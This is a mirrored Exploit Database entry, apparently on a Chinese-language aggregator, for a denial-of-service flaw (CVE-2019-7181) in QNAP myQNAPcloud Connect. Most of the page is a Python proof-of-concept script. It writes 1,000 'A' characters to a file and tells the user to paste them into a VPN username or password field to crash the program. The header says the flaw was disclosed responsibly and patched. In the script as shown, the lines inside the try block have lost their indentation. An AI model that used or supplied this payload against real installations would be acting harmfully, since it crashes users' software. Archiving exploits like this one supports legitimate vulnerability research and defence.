QNAP myQNAPcloud Connect 1.3.4.0317 – ‘Username/Password’ Denial of Service

• Exploit Database
• 11 阅读

• 作者： Dino Covotsos
  日期： 2019-04-22
• 类别：

  • dos
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/46733/

• #!/usr/bin/python
  # Exploit Title: QNAP myQNAPcloud Connect "Username/Password" DOS
  # Date: 19/04/2019
  # Exploit Author: Dino Covotsos - Telspace Systems
  # Vendor Homepage: https://www.qnap.com
  # Version: 1.3.4.0317 and below are vulnerable
  # Software Link: https://www.qnap.com/en/utilities/essentials
  # Contact: services[@]telspace.co.za
  # Twitter: @telspacesystems (Greets to the Telspace Crew)
  # Tested on: Windows XP/7/10 (version 1.3.3.0925)
  # CVE: CVE-2019-7181
  # POC
  # 1.) Generate qnap.txt
  # 2.) Copy the contents of qnap.txt to the clipboard
  # 3.) Paste the contents in any username/password field(Add or Edit VPN)
  # 4.) Click ok, program crashes.
  # This vulnerability was responsibly disclosed February 3, 2019, new version has been released.
  
  buffer = "A" * 1000
  
  payload = buffer
  try:
  f=open("qnap.txt","w")
  print "[+] Creating %s bytes QNAP payload.." %len(payload)
  f.write(payload)
  f.close()
  print "[+] File created!"
  except:
  print "File cannot be created"